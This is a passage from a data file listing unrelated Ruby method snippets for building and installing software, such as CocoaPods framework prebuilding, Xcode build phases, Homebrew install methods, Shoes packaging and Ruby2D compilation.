manifest.lock and framework folder in _Prebuild\n to_remain_files = [\"Manifest.lock\", File.basename(existed_framework_folder)]\n to_delete_files = sandbox_path.children.reject { |file| to_remain_files.include?(File.basename(file)) }\n to_delete_files.each { |file| file.rmtree if file.exist? }\n end\n\n updated_target_names = targets.map { |target| target.label.to_s }\n deleted_target_names = useless_target_names\n Pod::UI.puts \"Targets to prebuild: #{updated_target_names}\"\n Pod::UI.puts \"Targets to cleanup: #{deleted_target_names}\"\n\n prebuild_output.write_delta_file(updated_target_names, deleted_target_names)\n prebuild_output.process_prebuilt_dev_pods\n end", "def my_post_build_step\n puts 'post-build step!'\nend", "def execute\n supported_swift_versions = ['3.0', '4.0', '4.2']\n if !supported_swift_versions.include? swift_version\n signal_usage_error \"'#{swift_version}' swift version is not supported. Supported values: \" + supported_swift_versions.map { |v| \"'#{v}'\" }.join(\", \")\n end\n \n ProjectMod.apply_build_setting(name: 'SWIFT_VERSION', value: \"#{swift_version}.0\", target_names: target_list)\n \n targets_string = target_list.empty? ? 'All targets' : (target_list.join(\", \") + \" targets\")\n puts \"#{targets_string} were updated to use Swift #{swift_version}!\" \n end", "def target_script\n target_language.standard_script\n end", "def exec\n FileUtils.cd(@dest) do\n puts \"Running `bundle install` in #{Dir.pwd}\"\n system(\"bundle install\")\n end\n end", "def build_framework?; ARGV.include? '--framework'; end", "def remove_script_phase_from_target(native_target, phase_name)\n build_phase = native_target.shell_script_build_phases.find { |bp| bp.name && bp.name.end_with?(phase_name) }\n return unless build_phase.present?\n native_target.build_phases.delete(build_phase)\n end", "def copy_script\n\n end", "def compile\n if @url.nil? || @system_id.nil?\n raise \"url #{@url}, or systemId #{@system_id} is not available, detect needs to be invoked\"\n end\n\n dp_home = File.join(@app_dir, '.dynamic_pulse_agent')\n FileUtils.mkdir_p(dp_home)\n\n download_and_unzip(@url, @system_id, 'dynamicpulse-agent.zip', dp_home)\n\n FileUtils.mv(File.join(dp_home, 'dynamicpulse.jar'), @lib_directory)\n FrameworkUtils.link_libs([@app_dir], @lib_directory)\n end", "def add_post_deploy_resources\n if new_resource.precompile_assets\n app_local = app\n username = user_username\n ruby_block 'precompile assests' do\n block do\n require 'bundler'\n bundle_precompile_command = \"sudo su - #{username} -c 'cd #{app_local.release_path} \"\\\n \"&& source ./.env && #{app_local.bundle_binary} exec rake #{new_resource.precompile_command}'\"\n\n Bundler.clean_system(bundle_precompile_command)\n raise('Bundle pre-compile failed') unless $CHILD_STATUS.exitstatus.zero?\n end\n action :nothing\n subscribes :run, \"deploy_revision[#{new_resource.name}]\", :immediate\n end\n end\n\n super\n end", "def new_copy_files_build_phase(name = nil)\n phase = project.new(PBXCopyFilesBuildPhase)\n phase.name = name\n build_phases << phase\n phase\n end", "def frameworks_build_phase\n phase = build_phases.find { |bp| bp.class == PBXFrameworksBuildPhase }\n unless phase\n phase= project.new(PBXFrameworksBuildPhase)\n build_phases << phase\n end\n phase\n end", "def prebuilt_apple_framework_targets\n filter_targets(@targets, 'prebuilt_apple_framework')\n end", "def script_phase(options)\n raise Informative, 'Script phases can only be added within target definitions.' if current_target_definition.root?\n raise Informative, 'Script phases cannot be added to abstract targets.' if current_target_definition.abstract?\n current_target_definition.store_script_phase(options)\n end", "def build\n if phase.has_key?('build')\n execute(\"build\", phase['build'])\n end\n end", "def install_pod\n %i(validate_targets generate_pods_project integrate_user_project\n perform_post_install_actions).each { |m| @installer.send(m) }\n\n deployment_target = spec.subspec_by_name(subspec_name).deployment_target(consumer.platform_name)\n configure_pod_targets(@installer.target_installation_results)\n validate_dynamic_framework_support(@installer.aggregate_targets, deployment_target)\n @installer.pods_project.save\n end", "def copy_libs\n `mkdir -p #{ @path }/assets/wwww`\n `cp framework/phonegap.jar #{ @path }/libs`\n `cp framework/res/values/strings.xml #{ @path }/res/values/strings.xml`\n `cp framework/res/layout/main.xml #{ @path }/res/layout/main.xml`\n `cp framework/res/layout/preview.xml #{ @path }/res/layout/preview.xml`\n %w(drawable-hdpi drawable-ldpi drawable-mdpi).each do |e|\n `cp framework/res/drawable/icon.png #{ @path }/res/#{ e }/icon.png`\n end \n `cp -R example #{ @path }/assets`\n `mv #{ @path }/assets/example #{ @path }/assets/www`\n end", "def install\n bin.install \"testscript\"\n end", "def install\n # Install the application\n bin.install buildpath/\"asimov\"\n end", "def build_for_iosish_platform(sandbox, \n build_dir, \n output_path,\n target, \n deployment_target, \n device, \n simulator,\n bitcode_enabled,\n custom_build_options = [], # Array<String>\n custom_build_options_simulator = [] # Array<String>\n )\n \n target_label = target.label # name with platform if it's used in multiple platforms\n Pod::UI.puts \"Prebuilding #{target_label}...\"\n \n other_options = []\n # bitcode enabled\n other_options += ['BITCODE_GENERATION_MODE=bitcode'] if bitcode_enabled\n # make less arch to iphone simulator for faster build\n custom_build_options_simulator += ['ARCHS=x86_64', 'ONLY_ACTIVE_ARCH=NO'] if simulator == 'iphonesimulator'\n\n is_succeed, _ = xcodebuild(sandbox, target_label, device, deployment_target, other_options + custom_build_options)\n exit 1 unless is_succeed\n is_succeed, _ = xcodebuild(sandbox, target_label, simulator, deployment_target, other_options + custom_build_options_simulator)\n exit 1 unless is_succeed\n\n # paths\n target_name = target.name # equals target.label, like \"AFNeworking-iOS\" when AFNetworking is used in multiple platforms.\n module_name = target.product_module_name\n device_framework_path = \"#{build_dir}/#{CONFIGURATION}-#{device}/#{target_name}/#{module_name}.framework\"\n simulator_framework_path = \"#{build_dir}/#{CONFIGURATION}-#{simulator}/#{target_name}/#{module_name}.framework\"\n if !File.directory?(device_framework_path)\n # Newer Xcodes seem to build all in one directory.\n device_framework_path = \"#{build_dir}/#{CONFIGURATION}-#{device}/#{module_name}.framework\"\n simulator_framework_path = \"#{build_dir}/#{CONFIGURATION}-#{simulator}/#{module_name}.framework\"\n end\n output_framework_path = \"#{output_path}/#{module_name}.framework\"\n\n device_binary = device_framework_path + \"/#{module_name}\"\n simulator_binary = simulator_framework_path + \"/#{module_name}\"\n return unless File.file?(device_binary) && File.file?(simulator_binary)\n \n # the device_lib path is the final output file path\n # combine the binaries\n tmp_lipoed_binary_path = \"#{build_dir}/#{target_name}\"\n lipo_log = `lipo -create -output #{tmp_lipoed_binary_path} #{device_binary} #{simulator_binary}`\n Pod::UI.puts lipo_log unless File.exist?(tmp_lipoed_binary_path)\n FileUtils.mv tmp_lipoed_binary_path, device_binary, :force => true\n \n # collect the swiftmodule file for various archs.\n device_swiftmodule_path = device_framework_path + \"/Modules/#{module_name}.swiftmodule\"\n simulator_swiftmodule_path = simulator_framework_path + \"/Modules/#{module_name}.swiftmodule\"\n if File.exist?(device_swiftmodule_path)\n FileUtils.cp_r simulator_swiftmodule_path + \"/.\", device_swiftmodule_path\n end\n\n # combine the generated swift headers\n # (In xcode 10.2, the generated swift headers vary for each archs)\n # https://github.com/leavez/cocoapods-binary/issues/58\n simulator_generated_swift_header_path = simulator_framework_path + \"/Headers/#{module_name}-Swift.h\"\n device_generated_swift_header_path = device_framework_path + \"/Headers/#{module_name}-Swift.h\"\n if File.exist? simulator_generated_swift_header_path\n device_header = File.read(device_generated_swift_header_path)\n simulator_header = File.read(simulator_generated_swift_header_path)\n # https://github.com/Carthage/Carthage/issues/2718#issuecomment-473870461\n combined_header_content = %Q{\n#if TARGET_OS_SIMULATOR // merged by cocoapods-binary\n\n#{simulator_header}\n\n#else // merged by cocoapods-binary\n\n#{device_header}\n\n#endif // merged by cocoapods-binary\n}\n File.write(device_generated_swift_header_path, combined_header_content.strip)\n end\n\n # handle the dSYM files\n device_dsym = \"#{device_framework_path}.dSYM\"\n device_dsym_output_path = \"#{output_framework_path}.dSYM\"\n if File.exist? device_dsym\n # lipo the simulator dsym\n simulator_dsym = \"#{simulator_framework_path}.dSYM\"\n if File.exist? simulator_dsym\n tmp_lipoed_binary_path = \"#{output_path}/#{module_name}.draft\"\n lipo_log = `lipo -create -output #{tmp_lipoed_binary_path} #{device_dsym}/Contents/Resources/DWARF/#{module_name} #{simulator_dsym}/Contents/Resources/DWARF/#{module_name}`\n puts lipo_log unless File.exist?(tmp_lipoed_binary_path)\n FileUtils.mv tmp_lipoed_binary_path, \"#{device_framework_path}.dSYM/Contents/Resources/DWARF/#{module_name}\", :force => true\n end\n # move\n FileUtils.rm_r device_dsym_output_path if Dir.exist? device_dsym_output_path\n File.rename device_dsym, device_dsym_output_path\n end\n\n # output\n output_path.mkpath unless output_path.exist?\n FileUtils.rm_r output_framework_path if Dir.exist? output_framework_path\n File.rename device_framework_path, output_framework_path\n\nend", "def globalSetup()\n # Build\n run(\"cd '#{Embedding::CODE_PATH}' && make clean && make\")\nend", "def copy_to_bundle( file ) # it's like it has a -p\n to_dir = NSBundle.mainBundle.resourcePath\n\n puts \"copy #{file} to #{to_dir}\" \n FileUtils.cp file to_dir\n end", "def add_check_manifest_lock_script_phase\n phase_name = 'Check Pods Manifest.lock'\n native_targets.each do |native_target|\n next if native_target.shell_script_build_phases.any? { |phase| phase.name == phase_name }\n phase = native_target.project.new(Xcodeproj::Project::Object::PBXShellScriptBuildPhase)\n native_target.build_phases.unshift(phase)\n phase.name = phase_name\n phase.shell_script = <<-EOS.strip_heredoc\n diff \"${PODS_ROOT}/../Podfile.lock\" \"${PODS_ROOT}/Manifest.lock\" > /dev/null\n if [[ $? != 0 ]] ; then\n cat << EOM\n error: The sandbox is not in sync with the Podfile.lock. Run 'pod install' or update your CocoaPods installation.\n EOM\n exit 1\n fi\n EOS\n phase.show_env_vars_in_log = '0'\n end\n end", "def bundle()\n puts \"TODO\"\n end", "def add_ri2_site_ruby\n src = File.join(D_RI2, 'lib').gsub('/', '\\\\') # + \"\\\\\"\n site_ruby = SITE_RUBY.gsub('/', '\\\\')\n puts \"#{'installing RI2 runtime files:'.ljust(COL_WID)}From #{src}\"\n puts \"#{COL_SPACE}To #{site_ruby}\"\n # copy everything over to pkg dir\n `xcopy /s /q /y #{src} #{site_ruby}`\n # now, loop thru build dir, and move to runtime\n Dir.chdir( File.join(SITE_RUBY, 'ruby_installer') ) { |d|\n Dir.glob('build/*.rb').each { |fn|\n f_str = File.binread(fn)\n if f_str.sub!(REWRITE_MARK, '\\1module Runtime # Rewrite')\n puts \"#{COL_SPACE}rewrite #{fn[6..-1]}\"\n File.open( File.join( 'runtime', fn[6..-1]), 'wb') { |f| f << f_str }\n end\n }\n `rd /s /q build`\n puts \"#{COL_SPACE}deleting build dir\"\n }\n end", "def install_app\n STDERR.puts \"Installing #{@name} from #{@source} into #{target}\"\n dirs = Dir.entries(@source)\n use_engine = dirs.include?(\"crowbar_engine\")\n dirs.sort.each do |ent|\n next if /^\\./ =~ ent or ent == \"debian\"\n case ent\n when \"crowbar_framework\"\n next if use_engine || skip_files\n debug(\"Copying crowbar_framework files over for #{@name}\")\n FileUtils.cp_r(File.join(@source,'crowbar_framework'),target)\n when \"crowbar_engine\"\n FileUtils.cp_r(File.join(@source,ent),dir) unless @source == dir\n if FileTest.exists?(File.join(dir,ent,\"barclamp_\"+@name+\"/test/unit\"))\n FileUtils.mkdir_p(File.join(target,\"crowbar_framework/test/unit\"))\n FileUtils.cp_r(File.join(dir,ent,\"barclamp_\"+@name+\"/test/unit\"),File.join(target,\"crowbar_framework/test/\"))\n end\n if FileTest.exists?(File.join(dir,ent,\"barclamp_\"+@name+\"/test/\"+@name+\"_test_helper.rb\"))\n FileUtils.cp(File.join(dir,ent,\"barclamp_\"+@name+\"/test/\"+@name+\"_test_helper.rb\"),File.join(target,\"crowbar_framework/test/\"))\n end\n debug(\"#{@name} is implemented using a Rails Engine.\")\n debug(\"Linking in routes and Gemfile entries.\")\n gem_name = \"barclamp_#{@name}\"\n engine_class = \"Barclamp%s::Engine\" % camelize(@name)\n # N.B. the run-time path to the engine could be different from\n # the install-time path referenced by our 'dir' variable, so\n # instead we use a 'crowbar_path' variable set at runtime by\n # the main Gemfile.\n engine_path = File.join('crowbar_engine', gem_name)\n framework_dir = File.join(target, 'crowbar_framework')\n routes_dir = File.join(framework_dir, 'config', 'routes.d')\n gemfile_dir = File.join(framework_dir, 'Gemfile.d')\n FileUtils.mkdir_p(routes_dir)\n FileUtils.mkdir_p(gemfile_dir)\n routes_plugin = File.join(routes_dir, \"barclamp-#{@name}-engine.routes\")\n gemfile_plugin = File.join(gemfile_dir, \"barclamp-#{@name}.gemfile\")\n File.open(routes_plugin, 'w') do |f|\n f.puts(\"mount #{engine_class}, :at => '#{@name}'\")\n end unless File.exists?(routes_plugin)\n File.open(gemfile_plugin, 'w') do |f|\n f.puts(\"gem '#{gem_name}', :path => File.join(crowbar_path, '..', 'barclamps', '#{@name}', '#{engine_path}')\")\n end unless File.exists?(gemfile_plugin)\n when 'bin'\n debug(\"Installing commands for #{@name}\")\n FileUtils.mkdir_p(File.join(target,'bin'))\n FileUtils.cp_r(File.join(@source,'bin'),target)\n FileUtils.chmod_R(0755,File.join(target,'bin'))\n when 'etc'\n debug(\"Installing configs for #{@name}\")\n FileUtils.mkdir_p(File.join(@root,'etc'))\n FileUtils.cp_r(File.join(@source,'etc'),@root)\n when 'updates'\n debug(\"Installing Sledgehammer updates for #{@name}\")\n FileUtils.mkdir_p(File.join(@root,'updates'))\n FileUtils.cp_r(File.join(@source,'updates'),@root)\n when 'BDD'\n debug(\"Installing BDD framework components for #{@name}\")\n FileUtils.mkdir_p(File.join(target,'BDD'))\n FileUtils.cp_r(File.join(@source,'BDD'),target)\n when 'doc'\n debug(\"Installing documentation for #{@name}\")\n FileUtils.mkdir_p(File.join(target,'doc',@name))\n FileUtils.cp_r(File.join(@source,'doc','.'),File.join(target,'doc',@name))\n else\n next if @source == dir\n debug(\"Copying #{ent} into #{dir}\")\n FileUtils.mkdir_p(dir)\n FileUtils.cp_r(File.join(@source,ent),dir)\n end\n end\n end", "def install\n # ENV.java_cache\n # system \"mvn\", \"clean\", \"package\", \"-Dmaven.test.skip=true\"\n libexec.install \"swagger-codegen-cli.jar\"\n bin.write_jar_script libexec/\"swagger-codegen-cli.jar\", \"swagger-codegen-moya\"\n end", "def build_app\n command = BuildCommandGenerator.generate\n print_command(command, \"Generated Build Command\") if $verbose\n execute_command(command: command, print_all: true, error: proc do |output|\n ErrorHandler.handle_build_error(output)\n end)\n\n Helper.log.info(\"Successfully stored the archive. You can find it in the Xcode Organizer.\".green)\n Helper.log.info(\"Stored the archive in: \".green + BuildCommandGenerator.archive_path) if $verbose\n end", "def mobile_sdk_pre_install(installer)\n dynamic_framework = ['SalesforceAnalytics', 'SalesforceSDKCore', 'SalesforceSDKCommon', 'SmartStore', 'FMDB', 'SQLCipher', 'MobileSync']\n installer.pod_targets.each do |pod|\n if dynamic_framework.include?(pod.name)\n def pod.build_type\n Pod::BuildType.dynamic_framework\n end\n end\n end\nend", "def create_compile_ext_tasks(source_root, dest_root, invoking_task)\n compiled_ext = \"#{source_root}/#{SPECIAL_BUNDLE_NAMES[File.basename(source_root)] || File.basename(source_root)}.bundle\"\n create_copy_file_tasks(FileList[compiled_ext], source_root, dest_root, invoking_task)\n file compiled_ext => FileList[\"#{source_root}/*.c\"] do\n cd source_root do\n `ruby extconf.rb; make >/dev/null 2>&1`\n end\n end\nend", "def add_default_scripts(*file_paths)\n @default_target.add_default_scripts(*file_paths)\n end", "def wrapper_script(wrapper_script, action_path, target_path, servers)\n lb = line_break\n env = @platform_info[\"environment_set\"]\n cmt = @platform_info[\"comment_char\"]\n script_name = File.basename(action_path)\n if windows?\n win_path = @nsh.dos_path(target_path)\n ext = \"bat\"\n script_path = \"#{win_path}\\\\#{script_name}\"\n else\n ext = \"sh\"\n script_path = \"#{target_path}/#{script_name}\"\n end\n log \"Executing via wrapper script:\"\n wrapper_script.chomp!(\"\\r\") \n if wrapper_script.include?(\"%%\")\n wrapper_script.gsub!(\"%%\", script_path)\n else\n wrapper_script += \" #{script_path}\"\n wrapper_script += lb\n end\n new_path = create_temp_action(wrapper_script, \"wrapper_#{precision_timestamp}.#{ext}\")\n log \"\\t Target: #{new_path}\"\n log \"\\t Wrapper: #{wrapper_script}\"\n result = @nsh.ncp(servers, action_path, target_path)\n log \"\\t Copy Results: #{result}\"\n new_path\n end", "def after_release_email(tag, note, type, selector, options) \n command = \"origen web compile --remote --api\" \n Dir.chdir Origen.root do \n system command \n end \n end", "def embed_frameworks_output_paths(framework_paths, xcframeworks)\n paths = framework_paths.map do |framework_path|\n \"${TARGET_BUILD_DIR}/${FRAMEWORKS_FOLDER_PATH}/#{File.basename(framework_path.source_path)}\"\n end.uniq\n # Static xcframeworks are not copied to the build dir\n # so only include dynamic artifacts that will be copied to the build folder\n xcframework_paths = xcframeworks.select { |xcf| xcf.build_type.dynamic_framework? }.map do |xcframework|\n \"${TARGET_BUILD_DIR}/${FRAMEWORKS_FOLDER_PATH}/#{xcframework.name}.framework\"\n end\n paths + xcframework_paths\n end", "def add_framework_search_paths(project, name)\n\n ['iOS', 'macOS'].each do |platform|\n [true, false].each do |isTest|\n \tt = target(project, name, platform, isTest)\n\n \t# Add carthage build dir to framework search paths\n t.build_configuration_list.set_setting(\n 'FRAMEWORK_SEARCH_PATHS', \n \"$(SRCROOT)/#{carthage_build_dir_for_platform(platform)}\"\n )\n\n if isTest\n # Add carthage build dir to runpath search paths\n case platform\n when 'iOS'\n t.build_configuration_list.set_setting(\n 'LD_RUNPATH_SEARCH_PATHS',\n \"$(inherited) @executable_path/Frameworks @loader_path/Frameworks $(SRCROOT)/Carthage/Build/iOS\"\n )\n when 'macOS'\n t.build_configuration_list.set_setting(\n 'LD_RUNPATH_SEARCH_PATHS',\n \"$(inherited) @executable_path/../Frameworks @loader_path/../Frameworks $(SRCROOT)/Carthage/Build/Mac\"\n )\n end\n end\n end\n end\nend", "def pre_build\n puts \"pre_build dir=#{`pwd`}\"\n rbvt = RUBY_V\n rbvm = RUBY_V[/^\\d+\\.\\d+/]\n # remove leftovers from previous rake.\n rm_rf \"#{TGT_DIR}/lib\"\n rm_rf \"#{TGT_DIR}/etc\"\n rm_rf \"#{TGT_DIR}/share\"\n rm_rf \"#{TGT_DIR}/conf.d\"\n mkdir_p \"#{TGT_DIR}/lib\"\n cp_r \"#{EXT_RUBY}/lib/ruby\", \"#{TGT_DIR}/lib\"\n # copy include files\n mkdir_p \"#{TGT_DIR}/lib/ruby/include/ruby-#{rbvt}\"\n cp_r \"#{EXT_RUBY}/include/ruby-#{rbvt}/\", \"#{TGT_DIR}/lib/ruby/include\"\n SOLOCS.each_value do |path|\n cp \"#{path}\", \"#{TGT_DIR}\"\n end\n # do some windows things\n mkdir_p \"#{TGT_DIR}/share/glib-2.0/schemas\"\n if APP['GTK'] == \"gtk+-2.0\" \n cp_r\"#{TGT_SYS_DIR}/share/glib-2.0/schemas/gschema.dtd\",\n \"#{TGT_DIR}/share/glib-2.0/schemas\"\n cp_r \"#{ShoesDeps}/share/fontconfig\", \"#{TGT_DIR}/share\"\n cp_r \"#{ShoesDeps}/share/themes\", \"#{TGT_DIR}/share\"\n cp_r \"#{ShoesDeps}/share/xml\", \"#{TGT_DIR}/share\"\n cp_r \"#{ShoesDeps}/share/icons\", \"#{TGT_DIR}/share\"\n elsif APP['GTK'] == \"gtk+-3.0\"\n cp \"#{TGT_SYS_DIR}share/glib-2.0/schemas/gschemas.compiled\" ,\n \"#{TGT_DIR}/share/glib-2.0/schemas\"\n cp_r \"#{ShoesDeps}/share/fontconfig\", \"#{TGT_DIR}/share\"\n cp_r \"#{ShoesDeps}/share/themes\", \"#{TGT_DIR}/share\"\n cp_r \"#{ShoesDeps}/share/xml\", \"#{TGT_DIR}/share\"\n cp_r \"#{ShoesDeps}/share/icons\", \"#{TGT_DIR}/share\"\n else\n cp \"#{TGT_SYS_DIR}share/glib-2.0/schemas/gschemas.compiled\" ,\n \"#{TGT_DIR}/share/glib-2.0/schemas\"\n end\n sh \"#{WINDRES} -I. shoes/appwin32.rc shoes/appwin32.o\"\n cp_r \"#{ShoesDeps}/etc\", TGT_DIR\n mkdir_p \"#{ShoesDeps}/lib\"\n if APP['GTK'] == \"gtk+-3.0\"\n cp_r \"#{ShoesDeps}/lib/gtk-3.0\", \"#{TGT_DIR}/lib\" # shoes, exerb, ruby here\n else\n cp_r \"#{ShoesDeps}/lib/gtk-2.0\", \"#{TGT_DIR}/lib\" # shoes, exerb, ruby here\n end\n bindir = \"#{ShoesDeps}/bin\"\n #cp_r \"#{bindir}/fc-cache.exe\", TGT_DIR\n cp_r \"#{bindir}/gtk-update-icon-cache.exe\", TGT_DIR\n # below for debugging purposes\n if ENV['GDB'] \n cp \"#{bindir}/fc-cat.exe\", TGT_DIR\n cp \"#{bindir}/fc-list.exe\", TGT_DIR\n cp \"#{bindir}/fc-match.exe\", TGT_DIR\n cp \"#{bindir}/fc-pattern.exe\", TGT_DIR\n cp \"#{bindir}/fc-query.exe\", TGT_DIR\n cp \"#{bindir}/fc-scan.exe\", TGT_DIR\n cp \"#{bindir}/fc-validate.exe\", TGT_DIR\n end\n # disable MS Theme\n if !ENABLE_MS_THEME \n Dir.chdir(\"#{TGT_DIR}/share/themes/MS-Windows/gtk-2.0/\") do\n mv 'gtkrc', 'disabled-gtkrc'\n end\n else\n # add our overrides to the MS-Windows theme\n cp \"platform/msw/gtkrc\", \"#{TGT_DIR}/etc/gtk-2.0/\"\n end\n end", "def publish!\n mkdir_p File.join(self.publish_path, self.to_s)\n self.targets.each do |tgt|\n install File.join(self.to_s, tgt), File.join(self.publish_path, self.to_s, tgt)\n end\n end", "def register_as_deployed\n AddCommand.exec \"#{self.name}:#{self.root_path}\", 'servers' => [@shell]\n end", "def build_script\n raise NotImplementedError\n end", "def copy_libs\n path_to_original_lib = File.dirname(__FILE__) # File.dirname(__FILE__) is the location of this file, that give the path of the main lib folder\n libs_to_copy = ['log.rb', 'files_manager.rb', 'command.rb'] # List of Libraries copied in the project folder for standalone run\n libs_dest_dir = \"#{@project_path}/#{@libdir}\" # Dir used to store libraries, to run the rakefile\n lib_dir = File.expand_path(libs_dest_dir) # get the absolute path\n FileUtils.mkdir_p libs_dest_dir # Create the output_dir if it doesn't exist\n for lib in libs_to_copy\n lib_file = \"#{path_to_original_lib}/#{lib}\"\n (@log.fatal { \"Workflow Finalisation : cannot copy the library #{lib_file} \" }; exit ) if not File.file? lib_file\n @log.info \"Workflow Finalisation : Copy libraries for a standalone usage of the rakefiles : #{lib_file}\"\n FileUtils.cp \"#{lib_file}\", libs_dest_dir\n end\n end", "def install\n bin.install \"SwiftyScripts\"\n end", "def wrap_xcodebuild\n require 'fileutils'\n @wrapped_xcodebuild_path ||= File.join(Gym::ROOT, \"lib/assets/wrap_xcodebuild/xcbuild-safe.sh\")\n end", "def install\n @executor.start_section \"Vundle\"\n @executor.execute_interactive \"Install\", \"vim +BundleInstall\\! +qall\"\n @executor.execute_interactive \"Clean\", \"vim +BundleClean\\! +qall\"\n end", "def build_jar\n `rm framework/local.properties` if File.exists? 'framework/local.properties'\n `rm framework/phonegap.jar` if File.exists? 'framework/phonegap.jar'\n `rm framework/phonegap.js` if File.exists? 'framework/phonegap.js'\n `ECHO 'sdk-location=#{ @android_sdk_path }' > framework/local.properties`\n `cd framework; ant jar`\n end", "def copy_files_to_target\n COMMON_RAMMER_FILES.each do |file|\n source = File.join(\"#{@gem_path}/lib/modules/common/\",file)\n FileUtils.cp(source,\"#{@project_name}\")\n $stdout.puts \"\\e[1;32m \\tcreate\\e[0m\\t#{file}\"\n end\n end", "def deploy\n if phase.has_key?('deploy')\n execute(\"deploy\", phase['deploy'])\n end\n end", "def run_podfile_post_install_hooks\n UI.message '- Running post install hooks' do\n executed = run_podfile_post_install_hook\n UI.message '- Podfile' if executed\n end\n end", "def after_release_email(tag, note, type, selector, options)\n command = \"origen web compile --remote --api\"\n Dir.chdir Origen.root do\n system command\n end\n end", "def install\n #python executable files\n end", "def postscript(ant, build_environment, product_directory, *args)\n if repo = config_source[MAVEN_REPO_CONFIG_KEY]\n maven = MavenDeploy.new(:repository_url => repo,\n :repository_id => config_source[MAVEN_REPO_ID_CONFIG_KEY],\n :snapshot => config_source[MAVEN_SNAPSHOT_CONFIG_KEY])\n args.each do |arg|\n next unless arg\n if arg['file']\n file = FilePath.new(product_directory, interpolate(arg['file'])).to_s\n else\n file = FilePath.new(arg['srcfile']).to_s\n end\n\n artifact = arg['artifact']\n version = arg[MAVEN_VERSION_CONFIG_KEY] || config_source[MAVEN_VERSION_CONFIG_KEY] ||\n config_source['version'] || build_environment.version\n maven.deploy_file(file, artifact, version, arg['pom'])\n end\n end\n end", "def build_apple(rb_file, device)\n check_build_src_file(rb_file)\n\n # Check for Simple 2D framework,\n unless File.exists?('/usr/local/Frameworks/Simple2D/iOS/Simple2D.framework') && File.exists?('/usr/local/Frameworks/Simple2D/tvOS/Simple2D.framework')\n puts \"#{'Error:'.error} Simple 2D iOS and tvOS frameworks not found. Install them and try again.\\n\"\n exit\n end\n\n # Check if MRuby exists; if not, quit\n if `which mruby`.empty?\n puts \"#{'Error:'.error} Can't find MRuby, which is needed to build native Ruby 2D applications.\\n\"\n exit\n end\n\n # Add debugging information to produce backtrace\n if @debug then debug_flag = '-g' end\n\n # Assemble the Ruby 2D library in one `.rb` file and compile to bytecode\n make_lib\n `mrbc #{debug_flag} -Bruby2d_lib -obuild/lib.c build/lib.rb`\n\n # Read the provided Ruby source file, copy to build dir and compile to bytecode\n File.open('build/src.rb', 'w') { |file| file << strip_require(rb_file) }\n `mrbc #{debug_flag} -Bruby2d_app -obuild/src.c build/src.rb`\n\n # Copy over iOS project\n FileUtils.cp_r \"#{@gem_dir}/assets/#{device}\", \"build\"\n\n # Combine contents of C source files and bytecode into one file\n File.open(\"build/#{device}/main.c\", 'w') do |f|\n f << \"#define RUBY2D_IOS_TVOS 1\" << \"\\n\\n\"\n f << \"#define MRUBY 1\" << \"\\n\\n\"\n f << File.read(\"build/lib.c\") << \"\\n\\n\"\n f << File.read(\"build/src.c\") << \"\\n\\n\"\n f << File.read(\"#{@gem_dir}/ext/ruby2d/ruby2d.c\")\n end\n\n # Build the Xcode project\n `simple2d build --#{device} build/#{device}/MyApp.xcodeproj`\n\n # Clean up\n clean_up unless @debug\n\n # Success!\n puts \"App created at `build/#{device}`\"\nend", "def compile_web\n\n # Check for compiler toolchain issues\n if doctor_web(:building)\n puts \"Fix errors before building.\\n\\n\"\n end\n\n wasm_assets = \"#{Ruby2D.assets}/wasm\"\n\n # Get include directories\n incl_dir_ruby2d = \"#{Ruby2D.gem_dir}/ext/ruby2d/\"\n incl_dir_deps = \"#{Ruby2D.assets}/include/\"\n\n optimize_flags = '-Os --closure 1'\n ld_flags = \"#{wasm_assets}/libmruby.a\"\n\n # Compile using Emscripten\n run_cmd \"emcc -s WASM=1 -I#{incl_dir_ruby2d} -I#{incl_dir_deps} \"\\\n \"-s USE_SDL=2 -s USE_SDL_IMAGE=2 -s USE_SDL_MIXER=2 -s USE_SDL_TTF=2 \"\\\n \"build/app.c #{ld_flags} -o build/app.html\"\n\n # TODO: Copy HTML template from gem assets to build directory\n # FileUtils.cp \"#{wasm_assets}/template.html\", 'build/app.html'\n\n exit(1) unless $?.success?\nend", "def postscript(ant, build_environment, product_directory, *args)\n return if @no_demo\n\n # first and only argument is a hash\n arg = args[0]\n\n dest = File.join(product_directory.to_s, arg['dest'])\n agent_pattern = arg['agent-pattern']\n provider_pattern = arg['provider-pattern']\n reference_file = arg['reference-file']\n work_dir = File.join(Dir.tmpdir, \"tcbuild-extract\")\n\n # look up the agent jar\n agent_jar = nil\n Dir.chdir(dest) do |path|\n Dir.glob(agent_pattern + \"*.jar\") { |filename|\n agent_jar = File.join(path, filename)\n }\n fail(\"Can't find agent jar with pattern #{agent_pattern}\") unless File.exists?(agent_jar)\n end\n\n # extract provider from agent jar\n ant.unzip(:src => agent_jar, :dest => work_dir) do\n ant.patternset(:includes => \"**/\" + provider_pattern + \"*.jar\")\n end\n\n # look up provider jar\n provider_jar = nil\n Dir.chdir(File.join(work_dir, \"TIMs\")) do |path|\n Dir.glob(provider_pattern + \"*.jar\") { |filename|\n provider_jar = File.join(path, filename)\n }\n fail(\"Can't find provider jar with pattern #{provider_pattern}\") unless File.exists?(provider_jar)\n end\n\n # extract reference-config.xml from provider jar\n ant.unzip(:src => provider_jar, :dest => work_dir) do\n ant.patternset(:includes => reference_file)\n end\n\n ref_path = File.join(work_dir, reference_file)\n fail(\"Reference config is not found #{ref_path}\") unless File.exists?(ref_path)\n \n # copy it over to dest\n FileUtils.cp ref_path, dest\n\n # clean up\n FileUtils.rm_rf(work_dir)\n end", "def ruby_script(command_lines)\n command = \"#{EMBEDDED_RUBY_PATH} -e \\\"#{command_lines.join(';')}\\\"\"\n run(command)\n end", "def build(*languages)\n (client_bundles + framework_bundles).each do |bundle|\n bundle.build(*languages)\n end\n end" ]
